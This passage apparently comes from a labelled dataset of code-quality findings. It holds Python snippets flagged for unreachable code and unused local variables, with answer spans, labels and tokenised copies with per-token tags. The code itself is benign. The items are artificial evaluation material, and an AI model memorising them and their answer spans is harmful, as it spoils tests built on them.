"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "entity_", "._", "location_", "=_", "Point_", "(_", "east", "ing_", ",_", "north", "ing_", ",_", "srid_", "=_", "277", "00_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "._", "geometry_", "=_", "entity_", "._", "location_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "._", "primary", "\\u", "type_", "=_", "entity", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "identifiers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "postcode", "'_", ":_", "postcode", "\\u", "abbrev", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "postcode", "-", "canonical", "'_", ":_", "postcode", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "._", "save_", "(_", "identifiers_", "=_", "identifiers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "set\\u", "name", "\\u", "in", "\\u", "language_", "(_", "entity_", ",_", "'", "en", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title_", "=_", "postcode", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "._", "all", "\\u", "types_", "._", "add_", "(_", "entity", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "._", "update", "\\u", "all", "\\u", "types", "\\u", "completion_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Post", "codes", "Map", "s", "Provider_", "(_", "Base", "Map", "s", "Provider_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "entity", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "category_", ",_", "created_", "=_", "Entit", "y", "Type", "Category_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "name_", "=_", "uge", "ttext", "\\u", "noop_", "(_", "'", "Unc", "ate", "gori", "sed", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "verbo", "se", "\\u", "names_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "lang", "\\u", "code_", ",_", "lang", "\\u", "name_", "in_", "settings_", "._", "LANGUAGES_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "verbo", "se", "\\u", "names_", "[_", "lang", "\\u", "code_", "]_", "=_", "(_", "\\u_", "(_", "'", "postcode", "'_", ")_", ",_", "\\u_", "(_", "'", "a", " ", "postcode", "'_", ")_", ",_", "\\u_", "(_", "'", "postcode", "s", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "defaults_", "=_", "{_", "'", "verbo", "se", "\\u", "names", "'_", ":_", "verbo", "se", "\\u", "names_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity", "\\u", "type_", ",_", "created_", "=_", "Entit", "y", "Type_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "slug_", "=_", "'", "post", "-", "code", "'_", ",_", "category_", "=_", "category_", ",_", "defaults_", "=_", "defaults_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "created_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entity", "\\u", "type_", "._", "show", "\\u", "in", "\\u", "nearby", "\\u", "list_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity", "\\u", "type_", "._", "show", "\\u", "in", "\\u", "category", "\\u", "list_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity", "\\u", "type_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "entity", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Post", "codes", "Map", "s", "Provider_", "(_", "Base", "Map", "s", "Provider_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "source_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "source_", "=_", "Source_", "._", "objects_", "._", "get_", "(_", "module", "\\u", "name_", "=_", "self_", "._", "MODUL", "E", "\\u", "NAME_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Source_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "source_", "=_", "Source_", "(_", "module", "\\u", "name_", "=_", "self_", "._", "MODUL", "E", "\\u", "NAME_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "source_", "._", "name_", "=_", "\"", "Post", "codes", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "source_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
thasso/pyjip/jip/grids.py
[ { "content": " def submit(self, job):\n try:\n context, socket = self._connect()\n local = _Job.from_job(job)\n socket.send_json({\"cmd\": \"submit\", \"job\": {\n \"job_id\": local.job_id,\n \"id\": local.id,\n \"cmd\": local.cmd,\n \"stdout\": local.stdout,\n \"stderr\": local.stderr,\n \"working_directory\": local.working_directory,\n \"dependencies\": [f for f in local.dependencies],\n \"children\": [f for f in local.children]\n\n }})\n submitted = socket.recv_json()\n job.job_id = submitted['job_id']\n job.working_directory = submitted['working_directory']\n job.stdout = submitted['stdout']\n job.stderr = submitted['stderr']\n return job\n except:\n self.log.error(\"Unable to connect to grid server!\", exc_info=True)\n raise jip.cluster.SubmissionError(\"Unable to connect to cluster\")\n finally:\n socket.close()\n context.term()\n return job", "metadata": "root.JIP.submit", "header": "['class', 'JIP', '(', 'jip', '.', 'cluster', '.', 'Cluster', ')', ':', '___EOS___']", "index": 148 } ]
[ { "span": "return job", "start_line": 175, "start_column": 8, "end_line": 175, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "class_", "JI", "P_", "(_", "ji", "p_", "._", "cluster_", "._", "Cluster_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "submit_", "(_", "self_", ",_", "job_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", ",_", "socket_", "=_", "self_", "._", "\\u", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "local_", "=_", "\\u", "Job_", "._", "from", "\\u", "job_", "(_", "job_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "socket_", "._", "send", "\\u", "json_", "(_", "{_", "\"", "cmd", "\"_", ":_", "\"", "submit", "\"_", ",_", "\"", "job", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "job", "\\u", "id", "\"_", ":_", "local_", "._", "job", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "id", "\"_", ":_", "local_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cmd", "\"_", ":_", "local_", "._", "cmd_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "stdout", "\"_", ":_", "local_", "._", "stdout_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "std", "err", "\"_", ":_", "local_", "._", "stderr_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "working", "\\u", "director", "y", "\"_", ":_", "local_", "._", "working", "\\u", "directory_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "dependen", "cies", "\"_", ":_", "[_", "f_", "for_", "f_", "in_", "local_", "._", "dependencies_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "child", "ren", "\"_", ":_", "[_", "f_", "for_", "f_", "in_", "local_", "._", "children_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submitted", "_", "=_", "socket_", "._", "recv", "\\u", "json_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "._", "job", "\\u", "id_", "=_", "submitted", "_", "[_", "'", "job", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "._", "working", "\\u", "directory_", "=_", "submitted", "_", "[_", "'", "working", "\\u", "director", "y", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "._", "stdout_", "=_", "submitted", "_", "[_", "'", "stdout", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "._", "stderr_", "=_", "submitted", "_", "[_", "'", "std", "err", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "job_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log_", "._", "error_", "(_", "\"", "Una", "ble", " ", "to", " ", "connect", " ", "to", " ", "grid", " ", "server", "!\"_", ",_", "exc", "\\u", "info_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "ji", "p_", "._", "cluster_", "._", "Subm", "ission", "Error_", "(_", "\"", "Una", "ble", " ", "to", " ", "connect", " ", "to", " ", "cluster", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "socket_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context_", "._", "term_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "job_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2 ]
Unused local variable
IDSIA/sacred/tests/test_experiment.py
[ { "content": "def test_fails_on_unused_config_updates(ex):\n @ex.config\n def cfg():\n a = 1\n c = 3\n\n @ex.main\n def foo(a, b=2):\n return a + b\n\n # normal config updates work\n assert ex.run(config_updates={'a': 3}).result == 5\n # not in config but used works\n assert ex.run(config_updates={'b': 8}).result == 9\n # unused but in config updates work\n assert ex.run(config_updates={'c': 9}).result == 3\n\n # unused config updates raise\n with pytest.raises(KeyError):\n ex.run(config_updates={'d': 3})", "metadata": "root.test_fails_on_unused_config_updates", "header": "['module', '___EOS___']", "index": 62 }, { "content": "def test_fails_on_nested_unused_config_updates(ex):\n @ex.config\n def cfg():\n a = {'b': 1}\n d = {'e': 3}\n\n @ex.main\n def foo(a):\n return a['b']\n\n # normal config updates work\n assert ex.run(config_updates={'a': {'b': 2}}).result == 2\n # not in config but parent is works\n assert ex.run(config_updates={'a': {'c': 5}}).result == 1\n # unused but in config works\n assert ex.run(config_updates={'d': {'e': 7}}).result == 1\n\n # unused nested config updates raise\n with pytest.raises(KeyError):\n ex.run(config_updates={'d': {'f': 3}})", "metadata": "root.test_fails_on_nested_unused_config_updates", "header": "['module', '___EOS___']", "index": 84 }, { "content": "def test_considers_captured_functions_for_fail_on_unused_config(ex):\n @ex.config\n def cfg():\n a = 1\n\n @ex.capture\n def transmogrify(a, b=0):\n return a + b\n\n @ex.main\n def foo():\n return transmogrify()\n\n assert ex.run(config_updates={'a': 7}).result == 7\n assert ex.run(config_updates={'b': 3}).result == 4\n\n with pytest.raises(KeyError):\n ex.run(config_updates={'c': 3})", "metadata": "root.test_considers_captured_functions_for_fail_on_unused_config", "header": "['module', '___EOS___']", "index": 106 }, { "content": "def test_used_prefix_for_fail_on_unused_config(ex):\n @ex.config\n def cfg():\n a = {'b': 1}\n\n @ex.capture(prefix='a')\n def transmogrify(b):\n return b\n\n @ex.main\n def foo():\n return transmogrify()\n\n assert ex.run(config_updates={'a': {'b': 3}}).result == 3\n\n with pytest.raises(KeyError):\n ex.run(config_updates={'b': 5})\n\n with pytest.raises(KeyError):\n ex.run(config_updates={'a': {'c': 5}})", "metadata": "root.test_used_prefix_for_fail_on_unused_config", "header": "['module', '___EOS___']", "index": 126 }, { "content": "def test_using_a_named_config(ex):\n @ex.config\n def cfg():\n a = 1\n\n @ex.named_config\n def ncfg():\n a = 10\n\n @ex.main\n def run(a):\n return a\n\n assert ex.run().result == 1\n assert ex.run(named_configs=['ncfg']).result == 10", "metadata": "root.test_using_a_named_config", "header": "['module', '___EOS___']", "index": 148 } ]
[ { "span": "a ", "start_line": 65, "start_column": 8, "end_line": 65, "end_column": 9 }, { "span": "c ", "start_line": 66, "start_column": 8, "end_line": 66, "end_column": 9 }, { "span": "a ", "start_line": 87, "start_column": 8, "end_line": 87, "end_column": 9 }, { "span": "d ", "start_line": 88, "start_column": 8, "end_line": 88, "end_column": 9 }, { "span": "a ", "start_line": 109, "start_column": 8, "end_line": 109, "end_column": 9 }, { "span": "a ", "start_line": 129, "start_column": 8, "end_line": 129, "end_column": 9 }, { "span": "a ", "start_line": 151, "start_column": 8, "end_line": 151, "end_column": 9 }, { "span": "a ", "start_line": 155, "start_column": 8, "end_line": 155, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "fail", "s", "\\u", "on", "\\u", "unu", "sed", "\\u", "config", "\\u", "updates_", "(_", "ex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "ex_", "._", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cfg_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "ex_", "._", "main_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "foo_", "(_", "a_", ",_", "b_", "=_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "a_", "+_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "normal", " ", "config", " ", "update", "s", " ", "work_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "a", "'_", ":_", "3_", "}_", ")_", "._", "result_", "==_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "not", " ", "in", " ", "config", " ", "but", " ", "used", " ", "works_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "b", "'_", ":_", "8_", "}_", ")_", "._", "result_", "==_", "9_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "unu", "sed", " ", "but", " ", "in", " ", "config", " ", "update", "s", " ", "work_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "c", "'_", ":_", "9_", "}_", ")_", "._", "result_", "==_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "unu", "sed", " ", "config", " ", "update", "s", " ", "raise_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Key", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "d", "'_", ":_", "3_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "fail", "s", "\\u", "on", "\\u", "nest", "ed", "\\u", "unu", "sed", "\\u", "config", "\\u", "updates_", "(_", "ex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "ex_", "._", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cfg_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "{_", "'", "b", "'_", ":_", "1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "{_", "'", "e", "'_", ":_", "3_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "ex_", "._", "main_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "foo_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "a_", "[_", "'", "b", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "normal", " ", "config", " ", "update", "s", " ", "work_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "a", "'_", ":_", "{_", "'", "b", "'_", ":_", "2_", "}_", "}_", ")_", "._", "result_", "==_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "not", " ", "in", " ", "config", " ", "but", " ", "parent", " ", "is", " ", "works_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "a", "'_", ":_", "{_", "'", "c", "'_", ":_", "5_", "}_", "}_", ")_", "._", "result_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "unu", "sed", " ", "but", " ", "in", " ", "config", " ", "works_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "d", "'_", ":_", "{_", "'", "e", "'_", ":_", "7_", "}_", "}_", ")_", "._", "result_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "unu", "sed", " ", "nest", "ed", " ", "config", " ", "update", "s", " ", "raise_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Key", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "d", "'_", ":_", "{_", "'", "f", "'_", ":_", "3_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "consider", "s", "\\u", "captured", "\\u", "function", "s", "\\u", "for", "\\u", "fail", "\\u", "on", "\\u", "unu", "sed", "\\u", "config_", "(_", "ex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "ex_", "._", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cfg_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "ex_", "._", "capture_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "trans", "mog", "rif", "y_", "(_", "a_", ",_", "b_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "a_", "+_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "ex_", "._", "main_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "foo_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "trans", "mog", "rif", "y_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "a", "'_", ":_", "7_", "}_", ")_", "._", "result_", "==_", "7_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "b", "'_", ":_", "3_", "}_", ")_", "._", "result_", "==_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Key", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "c", "'_", ":_", "3_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "used", "\\u", "prefix", "\\u", "for", "\\u", "fail", "\\u", "on", "\\u", "unu", "sed", "\\u", "config_", "(_", "ex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "ex_", "._", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cfg_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "{_", "'", "b", "'_", ":_", "1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "ex_", "._", "capture_", "(_", "prefix_", "=_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "trans", "mog", "rif", "y_", "(_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "ex_", "._", "main_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "foo_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "trans", "mog", "rif", "y_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "a", "'_", ":_", "{_", "'", "b", "'_", ":_", "3_", "}_", "}_", ")_", "._", "result_", "==_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Key", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ex_", "._", "run_", "(_", "config", "\\u", "updates_", "=_", "{_", "'", "b", "'_", ":_", "5_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Key", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u 